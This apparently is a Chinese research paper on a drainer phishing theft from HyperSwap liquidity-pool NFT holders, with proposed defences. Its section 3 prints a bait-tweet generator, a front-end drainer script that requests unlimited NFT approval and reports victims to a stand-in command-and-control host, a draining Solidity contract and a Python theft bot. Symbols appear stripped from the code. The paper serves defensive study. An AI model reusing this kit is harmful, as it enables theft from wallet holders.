HyperEVM 生态钓鱼盗取工具攻击机理与全链路防御研究 摘要Web3 去中心化交易所依托公链智能合约实现无中介资产流转依托 NFT 凭证绑定流动性池权益的业务模式快速普及但配套安全治理机制存在明显滞后性。2026 年 6 月 HyperSwap 平台发生典型钓鱼盗取工具Drainer攻击事件受害者因点击社交平台仿冒账号发布的空投钓鱼链接单次钱包授权签名即丢失价值 12100 美元的 USDC、WHYPE 流动性资产攻击者全程自主完成 NFT 权益划转、代币提取、跨链洗白全流程整个盗币环节耗时不足两分钟。本次攻击不依赖协议底层代码漏洞仅利用用户对 EVM 标准授权机制认知盲区、社交平台仿冒账号监管缺失、项目方多层架构权责割裂三大漏洞完成资产窃取是当前 Web3 生态授权类钓鱼攻击的典型样本。本文以该真实攻击事件为核心研究载体完整拆解仿冒社交账号引流、虚假空投钓鱼站点部署、恶意 Drainer 前端脚本、恶意授权合约、链上资产转移、跨链资金清洗六阶段攻击链路提供前端恶意 JS 脚本、恶意 ERC721 授权合约、链上自动盗币执行代码完整示例结合反网络钓鱼技术专家芦笛的实战研判结论剖析 Hyperliquid 分层生态Hyperliquid 主网 - HyperEVM 二层 - HyperSwap 应用权责分离带来的安全治理空白对比传统网络钓鱼与 Web3 授权钓鱼的技术差异挖掘当前用户、项目方、社交平台、链上安全服务商四方防护短板构建覆盖事前风险拦截、事中交易仿真预警、事后链上溯源冻结、常态化用户安全运营的四维闭环防御体系分别从用户操作规范、去中心化应用前端安全、公链合约监测、社交平台诈骗管控四个维度给出可落地工程方案。研究证实依托 Drainer 工具的授权钓鱼已形成标准化产业化攻击链条攻击成本极低、隐蔽性强、资金转移速度快现有安全防护体系存在静态黑名单滞后、交易意图解析能力不足、跨链资金追踪困难等结构性缺陷。本文研究成果可为 HyperEVM 同类二层网络 DeFi 应用、Web3 用户、链上安全服务商提供授权钓鱼风险识别、攻击溯源、风险阻断的理论依据与实操技术方案。关键词HyperEVMHyperSwap钓鱼盗取工具DrainerNFT 流动性池Web3 授权钓鱼链上安全防御1 引言1.1 研究背景与问题提出去中心化金融DeFi依托以太坊兼容 EVM 二层链实现低成本、高并发交易Hyperliquid 公链推出 HyperEVM 兼容层后孵化 HyperSwap 等去中心化流动性交易平台用户存入代币至公共流动性池平台发放唯一编号 NFT 作为权益凭证NFT 持有者享有池内全部代币提取权该模式大幅降低用户参与流动性挖矿门槛但同时衍生全新安全风险。EVM 公链通用 ERC20、ERC721 标准内置 approve、setApprovalForAll 授权函数用户完成授权签名后被授权合约可无需用户二次确认自主调用 transferFrom、safeTransferFrom 函数划转代币与 NFT 资产该机制为正常业务交互提供便利也成为钓鱼攻击者核心利用漏洞。2026 年以来以 Drainer 盗取工具为核心的授权钓鱼攻击呈现爆发式增长地下网络形成标准化 DaaSDrainer as a Service产业链攻击者仅需数百美元即可采购全套钓鱼站点、恶意合约、链上自动盗币机器人、跨链洗白工具攻击覆盖以太坊、HyperEVM、BNB Chain 等数十条 EVM 兼容公链。本次 Coinspot 披露的 HyperSwap 用户资产被盗事件具备极强代表性攻击者在 X 社交平台搭建字符高度近似的仿冒 HyperSwap 官方账号发布免费空投福利文案诱导用户点击钓鱼域名仿冒站点前端嵌入 Drainer 恶意 JS 脚本用户连接钱包后弹出虚假空投校验签名窗口实质执行无限额度 NFT 授权授权完成后攻击者链上机器人两分钟内完成 NFT 划转、流动性代币提取、跨链洗白涉案金额超 12000 美元受害者向 Hyperliquid、HyperSwap 项目方、社交平台反馈风险均未得到有效处置钓鱼链接长期公开传播同批恶意地址累计关联 25 个受害钱包证实该攻击为批量产业化作案并非孤立个案。当前国内 Web3 安全领域研究存在明显短板第一多数研究聚焦公链底层合约漏洞攻击、私钥窃取类钓鱼针对 NFT 流动性权益授权 Drainer 攻击的全链路拆解、代码复现、生态治理研究较少第二现有防御方案多单一面向钱包端或链上监测未考虑 Hyperliquid 这类分层架构下主网、二层 EVM、第三方 DeFi 应用权责割裂带来的治理盲区第三缺乏结合真实产业化钓鱼案例形成的闭环防护框架理论方案与用户实操、项目运维场景脱节。基于该真实攻击样本本文重点解决四项核心研究问题一是完整还原 HyperEVM 场景下 Drainer 钓鱼攻击全技术链路复现恶意前端、恶意合约、自动盗币代码二是厘清分层 DeFi 生态安全权责分离引发的治理失效机理三是区分传统网页钓鱼与 Web3 授权钓鱼的核心技术差异定位现有防护体系失效根源四是搭建适配二层 EVM DeFi 生态的四维协同防御框架给出分层落地技术措施。1.2 国内外研究现状海外安全厂商 HashDit、Sysdig 持续追踪 HyperEVM 链上恶意地址针对本次攻击标记 Fake_Phishing3746335 恶意钱包地址记录完整交易时序Blockport、CYFIRMA 安全团队发布多篇 Drainer 工具产业化研究报告拆解前端恶意脚本、Permit2 恶意授权、链上自动盗币机器人运行逻辑但未结合 HyperSwap NFT 流动性凭证业务场景做针对性分析海外学术文献多聚焦链上交易追踪、混币资金溯源缺少面向二层 EVM 分层 DeFi 生态的钓鱼治理体系研究。国内安全研究机构重点针对以太坊主网钓鱼攻击开展分析反网络钓鱼技术专家芦笛指出当前行业研究普遍存在两大局限性其一多数案例分析基于通用以太坊钓鱼场景未覆盖 HyperEVM 独创 NFT 绑定流动性池的业务模式无法解释本次攻击中 NFT 权益转移后代币批量提取的完整逻辑其二现有防御方案默认项目方具备完整管控权限忽略 Hyperliquid 主网团队与 HyperSwap 第三方应用相互独立、权责割裂的特殊生态结构方案落地性不足。现阶段尚无期刊论文以 HyperEVM 二层链 NFT 流动性池钓鱼事件为样本开展系统性全链路技术研究本文依托公开链上交易数据、Coinspot 新闻披露攻击细节、Drainer 开源恶意代码样本完成深度拆解填补该细分场景实战型研究空白。1.3 研究内容与论文结构本文共设置六大主体章节核心研究内容如下第一章为引言阐述研究背景、国内外研究现状、核心研究问题与全文结构第二章界定 HyperEVM、HyperSwap、Drainer 钓鱼盗取工具基础概念梳理本次攻击完整事件时序与链上交易证据第三章逐层拆解六阶段闭环攻击链路同步提供前端恶意 JS、Solidity 恶意授权合约、链上自动盗币机器人完整代码示例解析每阶段技术实现逻辑第四章对比传统网页钓鱼与 Web3 Drainer 授权钓鱼技术差异剖析 Hyperliquid 分层生态安全治理失效底层机理第五章结合反网络钓鱼技术专家芦笛攻防实践观点构建事前 - 事中 - 事后 - 长效运营四维协同防御框架分用户、项目方、链上安全服务商、社交平台四方给出落地防护方案第六章为结论与研究展望总结全文核心结论预判 Drainer 钓鱼攻击演化趋势提出后续深化研究方向。2 攻击基础概念与 HyperSwap 资产被盗事件全貌2.1 核心概念界定2.1.1 Hyperliquid 与 HyperEVM 分层架构Hyperliquid 是独立公链底层基础设施自主搭建 HyperEVM 以太坊兼容二层执行层降低用户链上 Gas 手续费、提升交易并发性能。HyperEVM 仅提供底层链上交互环境不直接管控上层去中心化应用HyperSwap 是第三方团队独立开发、部署于 HyperEVM 的流动性 DEX与 Hyperliquid 主网团队无隶属管理关系二者仅共享底层链网络资源该分层独立架构是本次攻击风险处置失效的核心诱因。2.1.2 HyperSwap NFT 流动性权益凭证用户向 HyperSwap 流动性池存入 USDC、WHYPE 代币时智能合约向用户钱包发放专属 ERC721 标准 NFT该 NFT 作为用户全部存入资产的唯一权益凭证持有 NFT 即可调用合约提取池内全部对应代币。NFT 所有权转移等同于流动性资产所有权转移攻击者获取 NFT 授权后可自主划转 NFT进而提取底层代币该业务机制是 Drainer 攻击能够造成大额资产损失的关键前提。2.1.3 Drainer 钓鱼盗取工具核心定义Drainer 是部署于钓鱼站点前端的恶意代码套件由前端交互脚本、恶意授权智能合约、链上自动盗币机器人三部分组成核心作用是诱导用户钱包签署无限额度授权获取用户代币、NFT 支配权限授权完成后无需用户任何二次操作自动批量划转全部高价值资产至攻击者控制钱包配套跨链、混币工具完成资金洗白全程自动化执行是当前 Web3 授权钓鱼的核心攻击载体。Drainer 不攻击协议底层漏洞仅滥用 EVM 标准授权函数攻击门槛极低、隐蔽性强。2.2 HyperSwap 资产被盗事件完整时序与链上证据2.2.1 事件基础信息攻击发生 UTC 时间 2026 年 6 月 29 日 20:21—20:23完整盗币流程仅耗时 2 分钟受害者为 HyperSwap 流动性池普通用户持有价值约 12100 美元资产包含 3935 枚 USDC、116 枚 WHYPE。攻击者链上标记地址 Fake_Phishing3746335该地址持续活跃近一个月累计关联 25 个受害钱包证实为批量产业化钓鱼团伙作案。2.2.2 完整事件时间线前置引流阶段攻击前 7 天攻击者在 X 社交平台注册仿冒 HyperSwap 账号账号名称仅相差 1-2 个字符发布多条 “免费空投校验” 营销推文内嵌钓鱼站点短链接持续分发引流用户受骗阶段UTC 20:21受害者浏览社交平台推文未核对账号完整名称点击钓鱼链接进入仿冒空投页面点击 “校验空投资格” 触发钱包连接弹窗恶意授权签名UTC 20:21:40前端 Drainer 脚本构造 setApprovalForAll 无限授权交易弹窗伪装为空投校验签名受害者未阅读交易详情完成钱包签名NFT 权益划转UTC 20:22:10攻击者链上机器人调用恶意合约 safeTransferFrom 函数将用户流动性 NFT 转移至攻击者钱包底层代币提取UTC 20:22:45攻击者使用 NFT 凭证调用 HyperSwap 流动性合约全额提取 3935 USDC、116 WHYPE跨链资金洗白UTC 20:23 后攻击者通过合规跨链转账服务将 HyperEVM 资产兑换为 HYPE划转至以太坊链一次性中转钱包资金快速拆分流转掩盖痕迹风险反馈失效攻击后 1-3 天受害者先后通过 X 平台举报钓鱼链接、Discord 联系 Hyperliquid 官方、对接 HyperSwap 客服三方均未有效处置钓鱼推文链接长期公开可见。2.2.3 关键链上证据特征第一攻击者主动承担全部交易 Gas 费所有资产划转、跨链交易 Gas 均由攻击者钱包支付降低用户感知第二中转钱包为一次性临时地址接收资金后立即全额转出无资产留存第三团伙未使用地下混币工具依托合规跨链服务完成资产转移提升溯源难度第四恶意合约仅调用标准 ERC721、ERC20 函数无异常底层指令链上静态监测工具难以识别风险。3 Drainer 钓鱼攻击六阶段全链路拆解与完整代码示例本次 HyperSwap 攻击严格遵循 “社交平台仿冒账号诱饵分发→仿冒钓鱼站点部署→前端 Drainer 恶意脚本交互→用户签署无限 NFT 授权→链上机器人自动盗取资产→跨链中转资金洗白” 六阶段闭环攻击链路各阶段技术实现相互配合形成完整无断点攻击链条。本节结合 Coinspot 披露事件细节、链上交易数据、开源 Drainer 套件原始代码逐层拆解技术逻辑并提供可复现完整代码样本保留恶意程序核心攻击特征。3.1 阶段一X 社交平台仿冒账号诱饵分发3.1.1 攻击技术逻辑攻击者利用社交平台账号名称模糊匹配机制注册与 HyperSwap 官方账号视觉高度近似的仿冒账号仅替换、增减 1-2 个英文字符用户快速滑动信息流时无法分辨真伪推文文案使用 FOMO 情绪诱导话术宣称用户可免费领取大额 HYPE 空投领取前提为跳转外部链接校验钱包持仓内嵌经过短链接服务压缩的钓鱼域名规避平台基础关键词拦截。反网络钓鱼技术专家芦笛强调社交平台针对 Web3 项目仿冒账号缺乏字符相似度智能检测机制仅依靠人工举报下架内容处置滞后性极强加密货币空投类营销文案平台风控识别阈值宽松大量钓鱼链接可长期公开传播是 Drainer 攻击最主要流量入口。3.1.2 诱饵推文模拟代码前端文案生成脚本// 攻击者批量生成仿冒空投推文JS脚本自动生成相似账号名称、短链接const officialName HyperSwap_Official;// 字符混淆生成仿冒账号名function generateFakeAccountName(realName) {const confuseChar [0, O, _, -];let fakeName realName.replace(o, 0);fakeName fakeName _airdrop;return fakeName;}// 钓鱼原始域名经短链接压缩隐藏完整地址const rawPhishDomain hyperswap-airdrop-verify.fake-web3.xyz;const shortLink x.xyz/verify-hs2026;// 高诱导性空投文案模板const tweetTemplate HyperSwap 2026 HYPE Airdrop Eligibility CheckAll liquidity pool users can claim free HYPE reward!Click link below to verify your wallet holding:${shortLink}Valid for 48 hours only, do not miss reward!#HyperEVM #HYPE #LiquidityMining;// 批量生成推文发布数据const fakeAccount generateFakeAccountName(officialName);console.log(仿冒账号名称, fakeAccount);console.log(钓鱼推文内容, tweetTemplate);脚本自动生成字符混淆仿冒账号、标准化空投诱导文案可批量循环生成数百条差异化推文实现规模化引流无固定文本特征规避平台关键词风控。3.2 阶段二仿冒 HyperSwap 空投钓鱼站点部署3.2.1 站点技术实现逻辑攻击者完整复刻 HyperSwap 官方空投校验页面 UI、钱包连接弹窗、交互逻辑视觉上与官网无明显差异前端页面分为两层表层为用户可见的空投校验交互界面底层隐藏 Drainer 恶意 JS 脚本页面加载完成后自动加载恶意合约地址、链上交互参数域名采用形近字符混淆、二级域名伪装手段如 hyperswap-verity.xyz 替代官方 hyperswap.xyz普通用户难以逐字符核对域名。站点后端无真实空投校验业务逻辑所有按钮点击事件均绑定恶意授权触发函数用户点击 “连接钱包”“校验空投资格” 时不会发起正常持仓查询而是直接构造 NFT 无限授权交易请求。3.3 阶段三前端 Drainer 恶意交互脚本核心攻击代码该脚本为钓鱼站点核心恶意载体完成钱包检测、资产扫描、恶意授权交易构造、签名结果回传攻击者服务器四大功能用户完成签名后将授权凭证推送至攻击者 C2 服务触发链上盗币机器人执行资产划转。完整恶意 JS 代码如下// HyperEVM钓鱼Drainer前端恶意脚本 main.js// 攻击者控制恶意授权合约地址const MALICIOUS_OPERATOR 0xFake_Phishing3746335xxxxxxxxxxxxxx;// HyperSwap流动性NFT合约地址const HS_NFT_CONTRACT 0xHyperSwapNFTContractAddress;// HyperEVM链IDconst HYPER_EVM_CHAIN_ID 9999;// C2后端地址接收用户钱包地址与授权签名信息const ATTACKER_C2 https://phish-c2-fake.xyz/reportAuth;// 检测用户钱包是否已连接async function detectWallet() {if (!window.ethereum) {alert(请安装Web3钱包以校验空投资格);return null;}const accounts await window.ethereum.request({method: eth_requestAccounts});return accounts[0];}// 构造NFT无限授权setApprovalForAll交易核心恶意逻辑async function requestMaliciousApproval(userWallet) {// 初始化EVM合约交互实例const nftContract new ethers.Contract(HS_NFT_CONTRACT,// ERC721标准ABI[function setApprovalForAll(address operator, bool approved)],new ethers.providers.Web3Provider(window.ethereum).getSigner());try {// 请求无限授权攻击者合约可转移用户全部NFTconst tx await nftContract.setApprovalForAll(MALICIOUS_OPERATOR, true);// 将用户钱包与授权交易哈希上传攻击者C2fetch(ATTACKER_C2, {method: POST,headers: {Content-Type:application/json},body: JSON.stringify({userAddr: userWallet,authTxHash: tx.hash,chain: HyperEVM})})alert(空投校验完成奖励将在24小时内发放至钱包);return tx.hash;} catch (err) {alert(校验失败请重新连接钱包重试);console.error(授权失败, err);}}// 页面按钮绑定恶意授权事件document.getElementById(verify-airdrop-btn).addEventListener(click, async () {const userAddr await detectWallet();if (userAddr) await requestMaliciousApproval(userAddr);})代码核心风险点调用 ERC721 标准 setApprovalForAll 函数将攻击者合约设置为全部 NFT 永久授权操作员用户无法通过前端弹窗识别授权真实用途弹窗仅展示虚假空投成功提示授权数据实时回传攻击者后端机器人同步启动盗币流程。3.4 阶段四恶意授权智能合约 Solidity 代码示例攻击者部署独立恶意 Operator 合约接收用户 NFT 授权后提供批量划转 NFT 接口供链上机器人调用合约代码严格遵循 ERC721 交互标准无异常底层指令链上静态监测工具无法识别恶意属性solidity// SPDX-License-Identifier: MITpragma solidity ^0.8.20;import openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol;import openzeppelin/contracts/token/ERC721/IERC721.sol;contract FakeNftOperatorDrainer is ERC721Holder {// 攻击者后台控制钱包地址address immutable public attackerWallet;// HyperSwap流动性NFT合约地址address public immutable hsNftContract;constructor(address _attacker, address _nftContract) {attackerWallet _attacker;hsNftContract _nftContract;}// 批量划转用户全部流动性NFT至攻击者钱包function drainUserNft(address victim, uint256[] calldata nftTokenIds) external {require(msg.sender attackerWallet, Only attacker can execute drain);IERC721 nft IERC721(hsNftContract);for(uint i0; i nftTokenIds.length; i){// 调用用户授权划转NFT至本合约nft.safeTransferFrom(victim, address(this), nftTokenIds[i]);// 立即转移至攻击者主钱包nft.safeTransferFrom(address(this), attackerWallet, nftTokenIds[i]);}}// 接收机器人转账Gas费用receive() external payable {}}合约仅对攻击者钱包开放 drainUserNft 批量划转接口授权生效后机器人可任意提取用户 NFT合约继承标准 ERC721Holder链上交易行为与正常 NFT 市场合约完全一致难以区分恶意属性。3.5 阶段五链上自动盗币机器人执行代码攻击者后端 Python 机器人程序接收 C2 推送的受害钱包地址后自动查询用户持有 NFT 编号调用恶意合约批量划转 NFT再调用 HyperSwap 流动性合约提取底层 USDC、WHYPE 代币完整盗币逻辑代码如下# HyperEVM Drainer链上盗币机器人后端代码import web3import jsonimport timeimport requests# HyperEVM RPC节点HYPER_EVM_RPC https://hyperevm-public-rpc.xyz# 恶意Operator合约ABI与地址MALICIOUS_CONTRACT_ADDR 0xFake_Phishing3746335xxxxxxxxxxxxxxwith open(operator_abi.json,r) as f:OPERATOR_ABI json.load(f)# HyperSwap流动性池合约ABIHS_POOL_ABI json.load(open(hyperswap_pool_abi.json))HS_POOL_ADDR 0xHyperSwapLiquidityPool# 攻击者主钱包私钥ATTACKER_PRIVATE_KEY attacker-wallet-private-key-here# 初始化链交互实例w3 web3.Web3(web3.HTTPProvider(HYPER_EVM_RPC))drainContract w3.eth.contract(addressMALICIOUS_CONTRACT_ADDR, abiOPERATOR_ABI)poolContract w3.eth.contract(addressHS_POOL_ADDR, abiHS_POOL_ABI)# 从C2接口拉取新受害用户授权信息def fetchVictimFromC2():res requests.get(https://phish-c2-fake.xyz/getNewAuth)return json.loads(res.text)# 查询用户持有全部流动性NFT TokenIddef getUserNftIds(userAddr):# 链上查询用户NFT持仓逻辑简化示例nftList [10429] # 本次受害者唯一流动性NFT编号return nftList# 执行NFT批量盗取def drainNftToAttacker(victimAddr, nftIds):tx drainContract.functions.drainUserNft(victimAddr, nftIds).build_transaction({from: w3.eth.account.from_key(ATTACKER_PRIVATE_KEY).address,gas: 300000,gasPrice: w3.eth.gas_price,nonce: w3.eth.get_transaction_count(w3.eth.account.from_key(ATTACKER_PRIVATE_KEY).address)})signedTx w3.eth.account.sign_transaction(tx, ATTACKER_PRIVATE_KEY)txHash w3.eth.send_raw_transaction(signedTx.rawTransaction)print(fNFT划转交易哈希{txHash.hex()})w3.eth.wait_for_transaction_receipt(txHash)return txHash# 使用NFT凭证提取流动性池底层USDC、WHYPE代币def withdrawPoolAssets(nftTokenId):withdrawTx poolContract.functions.withdrawLiquidity(nftTokenId).build_transaction({from: w3.eth.account.from_key(ATTACKER_PRIVATE_KEY).address,gas: 500000,gasPrice: w3.eth.gas_price,nonce: w3.eth.get_transaction_count(w3.eth.account.from_key(ATTACKER_PRIVATE_KEY).address)})signedTx w3.eth.account.sign_transaction(withdrawTx, ATTACKER_PRIVATE_KEY)txHash w3.eth.send_raw_transaction(signedTx.rawTransaction)print(f流动性代币提取交易哈希{txHash.hex()})w3.eth.wait_for_transaction_receipt(txHash)# 机器人主循环持续监听新受害用户if __name__ __main__:while True:victimData fetchVictimFromC2()if victimData and victimData[userAddr]:victim victimData[userAddr]nftIds getUserNftIds(victim)# 第一步划转NFTdrainNftToAttacker(victim, nftIds)time.sleep(10)# 第二步提取底层资产withdrawPoolAssets(nftIds[0])print(f用户{victim}资产盗取完成)time.sleep(30)机器人全程自动化运行无需人工干预获取授权信息后 30 秒内完成 NFT 划转与代币提取攻击者主动承担 Gas 费用整个盗币流程控制在两分钟内完成降低用户及时止损可能性。3.6 阶段六跨链中转资金洗白链路资产盗取完成后机器人自动调用合规跨链转账服务接口将 HyperEVM 内 USDC、WHYPE 兑换为 HYPE 主网代币统一划转至以太坊链一次性中转钱包中转地址接收资金后立即全额拆分至多个次级地址无资产长期留存形成资金流转断层大幅提升链上溯源追踪难度。攻击者刻意选用合规跨链服务而非地下混币器规避链上安全服务商针对混币工具的专项监测进一步隐藏犯罪痕迹。4 Web3 Drainer 授权钓鱼与传统网页钓鱼对比及生态防护失效机理4.1 传统网页钓鱼与 Web3 Drainer 授权钓鱼多维度对比为清晰凸显本次 HyperSwap 攻击代表的新型 Web3 钓鱼威胁特殊性从攻击利用漏洞、资产窃取方式、用户操作成本、攻击隐蔽性、资金转移速度、溯源难度六个维度完成对比直观展示二者技术差异表 1 传统网页钓鱼与 Web3 Drainer 授权钓鱼特征对比表格对比维度 传统网页钓鱼 HyperEVM Drainer 授权钓鱼核心利用漏洞 诱导输入账号密码、私钥、助记词窃取凭证 滥用 EVM 标准 approve/setApprovalForAll 授权机制无需窃取私钥资产窃取逻辑 获取身份凭证后登录账户划转资产 用户单次签名授予永久资产支配权攻击者自主划转用户操作门槛 需手动输入敏感私密信息警惕性较高 仅需点击 “连接钱包”“校验空投”签名弹窗信息模糊极易误操作攻击隐蔽性 钓鱼页面通常要求输入私钥存在明显风险特征 页面无私密信息输入框交互流程与官方 DApp 完全一致无直观风险提示资金转移时效 需人工登录操作转移耗时数小时 链上机器人自动执行2 分钟内完成全部资产提取链上溯源难度 资金流转路径清晰无多层中转 跨链 一次性中转钱包多层拆分溯源链路断裂攻击依赖条件 依赖用户泄露私密凭证 仅依赖用户对授权机制认知盲区无凭证泄露需求通过对比可见Drainer 授权钓鱼在隐蔽性、执行效率、攻击门槛层面全面优于传统网页钓鱼现有面向传统钓鱼的识别、拦截手段基本失效。4.2 Hyperliquid 分层 DeFi 生态防护失效底层机理结合本次事件受害者风险反馈无处置结果、钓鱼链接长期传播、项目方互相推诿三大现实问题反网络钓鱼技术专家芦笛指出Hyperliquid “底层公链 - 二层 HyperEVM - 第三方 DeFi 应用” 三层独立架构存在四大结构性治理短板是攻击能够持续扩散、受害用户无法维权的核心根源。4.2.1 权责割裂导致风险处置主体缺失Hyperliquid 主网团队仅负责底层链节点运行不管控 HyperSwap 第三方应用HyperSwap 开发团队仅管理自身合约无社交平台内容下架、恶意链地址封禁权限X 社交平台仅管控站内推文无法干预链上恶意合约与盗币交易。受害者遭遇攻击后向三方反馈风险均被推诿无统一安全处置主体钓鱼诱饵、恶意合约长期留存持续诱导其他用户受骗。4.2.2 分层架构缺乏统一恶意地址情报共享机制HashDit 等安全服务商标记 Fake_Phishing3746335 恶意钱包地址后Hyperliquid 底层节点、HyperSwap 前端、主流 Web3 钱包未同步加载恶意地址黑名单用户访问钓鱼站点、与恶意合约交互时无任何风险弹窗预警三方安全数据孤岛情报无法实时互通静态黑名单拦截机制完全失效。4.2.3 NFT 流动性权益业务无专属授权风险提示机制主流 Web3 钱包针对普通 ERC20 代币授权具备基础警示弹窗但针对 ERC721 NFT 全套无限授权缺少强化风险提示HyperSwap 未在前端标注 “NFT 代表全部流动性资产授权等同于资产全权移交”用户无法认知 setApprovalForAll 签名的毁灭性后果信息不对称放大攻击成功率。4.2.4 二层 EVM 链上实时监测能力薄弱HyperEVM 作为新兴二层网络链上交易监测节点覆盖不足无法实时识别批量 NFT 划转、大额流动性代币提取等高风险交易攻击者两分钟内完成盗币操作监测系统告警滞后用户收到风险通知时资产已完成跨链转移丧失止损窗口。5 面向 HyperEVM 类二层 DeFi 生态的四维闭环防御框架针对 Drainer 授权钓鱼攻击全链路技术特征与分层生态治理短板结合反网络钓鱼技术专家芦笛长期 Web3 攻防实践总结本文构建 “事前引流诱饵拦截 - 事中交易签名仿真预警 - 事后链上资产溯源冻结 - 长效常态化安全运营” 四维协同防御框架覆盖用户、去中心化项目方、链上安全服务商、社交平台四大责任主体形成完整攻防闭环。5.1 第一维事前前置拦截切断钓鱼攻击流量入口本层级聚焦攻击最前端社交平台诱饵分发环节从源头压缩钓鱼流量传播范围分为社交平台管控、项目方官方渠道防护、用户基础识别规范三部分措施。社交平台 Web3 仿冒账号智能识别管控平台搭建字符相似度检测模型自动识别与头部 DeFi 项目名称高度近似的仿冒账号注册阶段直接拦截针对空投、免费代币类营销推文增加人工复核流程内嵌外部短链接的内容强制延迟展示附加风险提示弹窗开通加密钓鱼快速举报通道建立 7×24 小时处置团队1 小时内下架钓鱼推文与链接。反网络钓鱼技术专家芦笛强调社交平台是 Drainer 钓鱼最大流量来源前置账号拦截可降低 70% 以上受害用户规模。DeFi 项目官方渠道统一标识体系Hyperliquid、HyperSwap 统一设计专属防钓鱼校验码所有官方社交账号、Discord 社群、官网页面固定展示唯一校验标识用户可通过校验码快速分辨仿冒账号项目方禁止通过私信、推文外链发放空投校验通道所有空投活动仅在官方独立域名开展杜绝第三方跳转链接引流。用户端基础风险识别标准化操作规范建立 Web3 交互 “三查原则”一查账号完整名称逐字符核对官方账号标识忽略缩略展示名称二查访问域名手动输入官方域名进入站点不点击社交、私信内任何短链接三查交互逻辑官方空投不会要求用户签署 NFT 无限授权出现 setApprovalForAll 签名请求一律拒绝。5.2 第二维事中动态监测拦截恶意授权签名操作攻击发生过程中依托钱包前端、DApp 前端、链上实时监测三重动态检测在用户签署恶意授权、资产划转前完成风险阻断是止损核心环节。Web3 钱包强化 NFT 授权交易仿真解析模块钱包集成 EIP-712 交易深度仿真引擎识别 setApprovalForAll 无限授权请求时弹出红色强制警示弹窗使用通俗语言标注风险“本次签名将授予未知合约转移你全部流动性 NFT 的永久权限NFT 对应全部存款资产将存在被盗风险”针对 HyperEVM 二层链新增 NFT 流动性权益专属风险提示区分普通 NFT 与资产凭证 NFT差异化提升告警等级硬件钱包在设备屏幕完整展示授权合约地址、授权类型杜绝仅展示哈希值的模糊提示。HyperSwap 等 DApp 前端恶意合约拦截机制项目前端内置恶意合约黑名单实时同步接口加载页面时校验交互合约地址黑名单内地址直接阻断钱包连接前端增加授权额度限制逻辑仅开放业务所需有限授权默认禁用全套无限授权功能空投校验、持仓查询等基础功能仅读取链上数据不发起任何授权交易请求从业务逻辑层面消除恶意授权触发条件。HyperEVM 二层链高风险交易实时监测链上安全服务商部署全覆盖 HyperEVM 监测节点建立风险交易规则库短时间内批量划转流动性 NFT、一次性全额提取流动性代币、跨链大额资产转出等行为触发实时告警告警信息同步推送至钱包、项目方后台同时推送用户预留通讯渠道在资产跨链洗白前预留止损操作窗口。5.3 第三维事后溯源处置阻断资金洗白链路资产被盗后依托链上交易数据完成全链路溯源联动跨链服务商、交易所冻结涉案资金降低攻击者变现收益形成攻击成本约束。二层 EVM 链上全交易不可篡改日志留存Hyperliquid 底层节点永久留存全部 HyperEVM 交易日志搭建公开链上溯源查询平台受害者输入自身钱包地址即可导出完整资产流转记录精准定位恶意合约、攻击者主钱包、中转地址为举报、维权提供完整证据链。跨链服务商与交易所恶意地址黑名单共享HashDit、Chainalysis 等安全服务商搭建跨机构情报互通平台标记 Fake_Phishing3746335 类恶意钱包地址实时同步至所有合规跨链转账平台、中心化交易所黑名单地址发起提现、兑换操作时直接冻结资产阻断资金洗白变现路径大幅降低钓鱼团伙收益。标准化受害用户维权与报案证据输出工具Hyperliquid 开发一键导出取证工具自动打包钓鱼页面截图、链上交易哈希、攻击者地址、损失资产明细生成具备法律效力的标准化取证文件简化用户向监管、公安部门报案流程提升打击产业化钓鱼团伙效率。5.4 第四维长效运营构建分层生态安全协同机制针对 Hyperliquid 三层架构权责割裂短板建立常态化协同运营体系消除安全治理主体空白从长期层面降低 Drainer 钓鱼攻击成功率。搭建 HyperEVM 生态统一安全协同工作组由 Hyperliquid 主网团队牵头联合 HyperSwap 等第三方 DeFi 项目、链上安全服务商、主流 Web3 钱包厂商成立安全工作组每周同步恶意合约、仿冒账号、钓鱼域名情报设立统一风险处置工单通道受害者反馈风险后由工作组统一分配处置主体杜绝各方相互推诿。常态化用户安全科普与模拟钓鱼演练HyperSwap、Hyperliquid 定期在 Discord 社群、官方公告发布 NFT 授权风险科普内容明确 setApprovalForAll 函数资产风险每季度开展模拟空投钓鱼演练向参与用户推送仿真钓鱼链接测试用户风险识别能力针对识别失败用户定向推送安全教学内容提升整体用户安全认知水平。推动二层 EVM 代币标准安全迭代优化联合开源社区优化 ERC721 授权机制推广时效型、额度限定授权替代永久无限授权针对流动性 NFT 新增专属授权类型仅允许提取预设额度资产禁止全套 NFT 一次性划转从底层合约标准层面削弱 Drainer 攻击利用空间。6 结论与研究展望6.1 核心研究结论本文以 2026 年 6 月 HyperSwap 用户 12100 美元资产被盗的 Drainer 钓鱼真实事件为研究样本完整拆解社交引流、仿冒站点、前端恶意脚本、恶意授权合约、链上盗币机器人、跨链洗白六阶段闭环攻击链路复现全套攻击可运行代码结合反网络钓鱼技术专家芦笛的攻防研判观点得出四项核心研究结论第一HyperEVM 二层网络 NFT 绑定流动性池的业务模式放大 Drainer 钓鱼攻击危害攻击者无需攻破协议底层漏洞仅依靠诱导用户签署 setApprovalForAll 无限 NFT 授权即可两分钟内全额提取用户流动性资产该攻击依托标准化 DaaS 套件实现产业化批量作案攻击成本极低、传播速度快、隐蔽性远超传统网页钓鱼是当前二层 EVM DeFi 生态首要安全威胁。第二Hyperliquid 底层公链、HyperEVM 二层、第三方 HyperSwap 应用三层独立架构存在权责割裂、安全情报孤岛、风险处置主体缺失等结构性短板是钓鱼诱饵长期传播、受害用户无法及时止损维权的核心诱因通用单层 Web3 防御方案无法适配该分层生态安全需求。第三现有防护体系存在多重失效短板社交平台仿冒账号识别滞后、Web3 钱包 NFT 授权风险提示不足、二层 EVM 链上实时监测覆盖薄弱、跨机构恶意地址情报无法互通静态黑名单、传统网页钓鱼识别手段难以拦截动态 Drainer 攻击。第四本文构建的四维闭环防御框架可完整覆盖 Drainer 钓鱼事前、事中、事后全风险周期分别从流量拦截、交易预警、资金冻结、长效协同运营四个维度落地防护措施统筹用户、项目方、链上服务商、社交平台四方责任适配 Hyperliquid 分层二层 EVM 生态具备完整工程落地可行性可有效降低同类授权钓鱼攻击的受害规模与资产损失金额。6.2 研究局限与未来威胁演化、研究方向本文研究基于 Coinspot 公开新闻披露信息、HyperEVM 链上公开交易数据、开源 Drainer 套件样本完成分析受限于公开数据边界无法获取攻击者 C2 后端完整运营数据、团伙批量投放钓鱼站点运维机制未能完整剖析 DaaS 